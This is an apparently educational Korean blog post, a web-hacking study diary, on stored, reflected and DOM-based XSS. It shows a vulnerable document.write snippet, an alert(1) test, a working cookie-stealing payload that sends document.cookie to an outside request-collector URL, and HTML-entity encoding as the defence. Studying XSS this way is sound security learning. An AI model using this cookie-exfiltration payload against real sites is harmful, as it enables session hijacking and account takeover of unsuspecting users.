본문 바로가기

웹 해킹

웹 해킹 공부 일기장 6- 1 (XSS)

XSS는 클라이언트 측에 스크립트를 삽입하여 해당 스크립트가 실행되게 하는 것입니다.

클라이언트 측! 즉, 피해자의 웹 브라우저에서 스크립트를 처리하면서 실행되게 하는 것입니다.

 

Stored XSS 취약점은 요청에 포함된 데이터(스크립트)가 서버 측에 저장되어 해당 데이터(스크립트)가 어느 응답에 포함되어 화면에 출력될 경우 발생될 수 있습니다.

피해자가 해당 데이터가 포함된 페이지에 접속할 경우 응답에 포함된 스크립트가 웹 브라우저에서 스크립트로 처리하면서 실행됩니다.

 

Reflected XSS 취약점은 요청에 포함된 데이터가 서버의 응답에 바로 포함되어 화면에 출력하게 될 경우 발생될 수 있습니다. 

이 경우 요청에 스크립트를 포함시키며 해당 응답에서 발생하기 때문에 이용자가 스크립트가 포함된 요청을 하게 만들어야합니다. 그렇기 때문에 스크립트를 포함한 요청의 링크를 통해 이용자가 요청을 보내게 합니다. 또한, 링크를 통해 이루어지기 때문에 요청은 GET 메소드여야 합니다.

 

간단하게 저번시간에 배운 XSS 를 요약해보았습니다.

이번엔 새로운 XSS를 알아보겠습니다. DOM Based XSS 입니다.

DOM Based XSS 는 요청의 데이터가 브라우저에서 조립되어서 응답 페이지가 만들어질 때 사용할 수 있는 기법입니다.

 

브라우저에서 조립된다?? 

요청의 데이터가 응답에 포함

검색할 단어를 적고 검색을 하면 해당 결과가 없을 경우 화면과 같이 데이터가 포함된 메시지가 화면에 출력됩니다.

요청에 포함된 데이터가 해당 응답에 포함되어 오는 것 같습니다.

버프로 확인

 

하지만 우리가 검색한 t라는 단어는 응답에 포함되어 있지 않고 이상한 스크립트만 있습니다.

이러한 경우가 브라우저에서 조립되는 경우입니다.

 

응답의 스크립트를 통해 브라우저에서 새로운 태그를 만들고 화면에 보여주고 있습니다.

Reflected XSS경우에는 요청의 데이터가 서버측 코드를 통해 페이지를 제작한 후 응답으로 보내주어 요청의 데이터가 포함되지만

DOM Based XSS의 경우 브라우저에서 위의 사진처럼 해당 부분을 처리하여 페이지를 완성할 때 요청의 데이터가 포함되어 출력됩니다.

 

DOM Based XSS의 경우도 Reflected XSS 처럼 해당 요청의 응답에서 발생하여 링크를 통해 이용자가 요청을 보내게 해야 하기때문에 GET 메소드 요청에서 취약점이 발생하여야 합니다.

 

또한, DOM Based XSS의 경우는 Reflected XSS 처럼 응답에 데이터가 바로 찍히는 것이 아니기 때문에 어느 부분에서 브라우저가 처리해서 화면에 출력하는 지 찾아봐야합니다.

즉, 분명히 요청의 데이터가 화면에 출력되는 데 응답에 해당 데이터가 포함되어 있지 않을 때 의심해봐야합니다. 정확히 데이터가 찍히는 것이 아니기때문에 어디서 처리되고 있는지 찾기힘듭니다.

 

이때, 우리가 다른 것은 몰라도 꼭 알아봐야하는 문자가 있습니다.

document.write, innerHTML 입니다.

두 함수 모두 자바스크립트로 화면에 원하는 문자열을 출력시킬 수 있습니다.

 

위의 코드 같은 경우에도

// window.location.search 를 통해 해당 현재 URL 의 파라미터를 가져옮. 그 중 'board_result' 데이터
var keyword = (new URLSearchParams(window.location.search)).get('board_result');

if(keyword){
	// 검색하는 입력창의 값을 board_result 값으로 채워줌.
	document.getElementById('search_addr').value = keyword;
    
   	// document.write로 입력받은 keyword로 만든 메시지를 태그에 포함하여 화면에 출력.
	document.write(keyword+'에 대한 검색 결과가 없습니다.');
}

 

이렇게 화면에 출력되게 됩니다. 

이 경우 당연히 입력 데이터를 검사하지 않을 경우 데이터가 그대로 화면에 나오기 때문에 스크립트를 실행시킬 수 있는 것입니다.

DOM Based XSS

 

우리가 입력한 데이터가 바로 응답에 포함되진 않는 것을 확인할 수 있습니다. 하지만, 해당 스크립트가 브라우저에서 처리되면서 화면에 출력된다는 것은 같기 때문에 링크를 통해 요청을 보내게 되면 아래와 같이 스크립트가 실행되는 것을 확인할 수 있습니다.

링크를 통해 요청을 보낼 시 스크립트 실행

 

우리는 XSS 취약점에 대해 알아보았고 alert(1)을 통해 스크립트가 실행되는 것까지 확인했습니다.

하지만, 이렇게 alert로 경고창만 띄운다면 왜 위험한지? 어떤 공격이 가능한지 모르고 넘어갈 수 있습니다.

 

도대체 XSS 취약점으로 어떤 공격이 가능할까요?

자바스크립트를 어떻게 얼마나 잘 사용하느냐에 따라 공격할 수 있는 범위가 달라질 것입니다.

 

이번엔 실제로 어떤 스크립트를 삽입하여 공격이 진행될 수 있는지 알아보겠습니다.

* 쿠키 탈취

- 자바스크립트를 실행시켜 쿠키를 탈취할 수 있습니다.

// 쿠키 정보 가져와 변수에 저장
var cookie = document.cookie;

// 이미지 태그 생성
var i = new Image();

// 이미지가져올 주소를 공격자 서버로 하여 요청 보내기
i.src = "https://ensb54glbcbop.x.pipedream.net/?cookie=" + cookie;

 

이렇게 3단계만 거치면 쿠키 정보를 탈취할 수 있습니다.

 

먼저 document.cookie를 사용하면 해당 위치에서 접근할 수 있는 쿠키정보를 가져올 수 있습니다.

document.cookie로 쿠키정보 가져오기

 

개발자 도구에서 console 창을 사용하면 자바스크립트를 사용할 수 있습니다.

실제 지금 블로그 작성중인 페이지의 쿠키를 가져온 모습입니다.

 

그리고 new Image()를 통해 이미지 태그를 생성하여 주고 해당 이미지 태그를 변수에 저장해줍니다.

이미지 태그에는 src라는 속성이 있는데 해당 속성은 적혀있는 주소에서 이미지를 가져와줍니다.

즉, 해당 주소로 요청을 보내게 됩니다. 

이때, 요청을 받는 주소를 우리의 공격자 주소로 적어줍니다.

이렇게 하면 공격자의 주소로 요청을 보내게 되고 이때, 요청에 cookie정보를 포함시켜 요청을 보내줍니다.

 

그러면 공격자에 주소로 쿠키정보가 함께오고 공격자의 주소는 우리 것이기 때문에 해당 함께온 정보를 읽을 수 있습니다.

 

공격자 주소를 만드려면 서버가 있어야하는데 이때 VPS라는 것이 있습니다.

하지만, 이것은 유료이고 지금 단계에선 우리에게 사치입니다.

무료로 임의의 서버를 제공해주는 사이트가 있습니다.

바로!! https://public.requestbin.com/r/ 사이트입니다.

사이트 제공

 

임의의 사이트를 제공해주고 여기에 요청을 보내면 왼쪽 부분에서 파라미터를 읽어올 수 있습니다.

방금 위의 코드에서 주소를 해당 주소로 변경하여 요청을 보내보겠습니다.

스크립트 실행
요청 확인

사진처럼 공격자의 서버에서 파라미터에 포함시킨 쿠키정보를 확인할 수 있습니다.

 

XSS를 사용하면 이렇게 쿠키 정보를 가져올 수 있는 스크립트를 작성하여 실행시킬 수 있습니다. 그럼 공격자 입장에서 이용자의 쿠키정보를 확인하여 로그인도 우회할 수 있고 각종 정보를 확인할 수 있을 것입니다.

 

XSS로 발생시킬 수 있는 공격 중 최소한 쿠키 탈취는 알아야한다고 해서 작성해보았습니다.

 

나머지 다른 공격들은 알아보고 다음 블로그에 작성해보겠습니다.

 

XSS의 대응 방안은 무엇일까요??

일단, XSS 는 입력받는 데이터에서 스크립트를 실행시킬 수 있는 <script>alert(1)</script>를 그대로 브라우저에서 스크립트로 인식하여 문제가 발생하는 것입니다.

 

그럼 script라는 단어를 필터링하면 될까요?

이럴 경우 만약 게시판에서 게시글을 작성할 경우 모든 이용자는 script라는 단어를 사용하지 못합니다. 게시글에서 단어를 사용하지 못하면 안되겠죠!! 지금 저같은 경우에도 블로그에 작성 script라는 단어가 엄청 많이 들어갔습니다.

 

그럼 <, >를 사용하지 못하게 하여 태그를 생성하지 못하게 할까요?

이 경우도 마찬가지로 게시글에 <, > 등 특정 문자를 사용하지 못하게 될 것입니다. 특정 문자를 사용하지 못하는 게시판은 사람들이 사용을 안하겠죠?

 

그렇기 때문에 HTML Entity라는 것을 사용합니다.

HTML Entity는 특수 문자를 그대로 사용하지 말고 다른 문자로 정의해 놓은 것입니다.

CharacterEntity NameEntity NumberDescription

    &#32; 여백 (Space)
!   &#33; 느낌표 (Exclamation mark)
"   &#34; 큰따옴표 (Quotation mark)
#   &#35; 샵 (Number sign)
$   &#36; 달러 (Dollar sign)
%   &#37; 퍼센트 (Percent sign)
& &amp; &#38; 앤드 기호 (Ampersand)
'   &#39; 아포스트로피 (Apostrophe)
(   &#40; 소괄호/왼쪽 (Opening/Left Parenthesis)
)   &#41; 소괄호/오른쪽 (Closing/Right Parenthesis)
*   &#42; 별표 (Asterisk)
+   &#43; 더하기 (Plus sign)
,   &#44; 쉼표 (Comma)
-   &#45; 하이픈 (Hyphen)
.   &#46; 온점, 마침표 (Period)
/   &#47; 슬래시 (Slash)
0 ~ 9   &#48; ~ &#57; 숫자 0 ~ 9 (Digit 0 - 9)
:   &#58; 쌍점, 콜론 (Colon)
;   &#59; 세미콜론 (Semicolon)
< &lt; &#60; 보다 작은 (Less than)
=   &#61; 등호, 같기표 (Equals sign)
> &gt; &#62; 보다 큰 (Greater than)
?   &#63; 물음표 (Question mark)
@   &#64; 앳, 골뱅이 (At sign)
A ~ Z   &#65; ~ &#90; 대문자 A ~ Z (Uppercase A - Z)
[   &#91; 대괄호/왼쪽 (Opening/Left square bracket)
    &#96; 역슬래시, 백슬래시 (Backslash)
]   &#93; 대괄호/오른쪽 (Closing/Right square bracket)
^   &#94; 지수 (Caret)
_   &#95; 언더바 (Underscore)
`   &#96; 억음부호(^^?) (Grave accent)
a ~ z   &#97; ~ &#122; 소문자 a ~ z (Lowercase a - z)
{   &#123; 중괄호/왼쪽 (Opening/Left curly brace)
|   &#124; 버티컬바, 파이프 (Vertical bar)
}   &#125; 중괄호/오른쪽 (Closing/Right curly brace)
~   &#126; 물결표 (Tilde)
  &nbsp; &#160; 여백 (Non-breaking space)
¡ &iexcl; &#161; 거꾸로 느낌표 (Inverted exclamation mark)
¢ &cent; &#162; 센트 (Cent)
£ &pound; &#163; 파운드 (Pound)
¤ &curren; &#164; 정의되지않은 커런시 표시 (Currency)
¥ &yen; &#165; 엔 (Yen)
¦ &brvbar; &#166; 파이프 (Broken vertical bar)
§ &sect; &#167; 단락기호 (Section)
© &copy; &#169; 카피라이트 기호 (Copyright)
® &reg; &#174; 트레이드 마크 기호 (Registered trademark)
° &deg; &#176; 도 단위기호 (Degree)
± &plusmn; &#177; 플러스 or 마이너스 (Plus or minus)
µ &micro; &#181; 마이크로 단위기호 (Micro)
¼ &frac14; &#188; 분수 1/4 (Fraction 1/4)
½ &frac12; &#189; 분수 1/2 (Fraction 1/2)
¾ &frac34; &#190; 분수 3/4 (Fraction 3/4)
¿ &iquest; &#191; 거꾸로 물음표 (Inverted question mark)
× &times; &#215; 곱하기 부호 (Multiplication)
÷ &divide; &#247; 나누기 부호 (Divide)
&lsquo; &#8216; 왼쪽 작은따옴표 (Left single quotation mark)
&rsquo; &#8217; 오른쪽 작은따옴표 (Right single quotation mark)
&sbquo; &#8218; 쉼표 (Single low-9 quotation mark)

 

위의 표처럼 해당 특수 문자를  다른 문자열로 표현해놓았습니다. 이것을 사용하는 것입니다.

만약 <를 사용하게 되면 &lt;라는 문자로 변환됩니다. 즉, 요청, 응답 혹은 서버에 저장될 때는 <를 &lt;로 데이터를 전송하고 저장하지만,

브라우저에서 &lt;는 <로 바꿔 우리에게 출력시켜줍니다.

 

이렇게 되면 코드는 &lt;script>alert(1)&lt;/script>가 되지만 우리화면에 보여줄 때는 <script>alert(1)</script>으로 정상적으로 보여지게 되는 것입니다.

 

이것을 사용하면 태그를 생성하여 스크립트를 실행시키는 것을 원천적으로 막을 수 있습니다.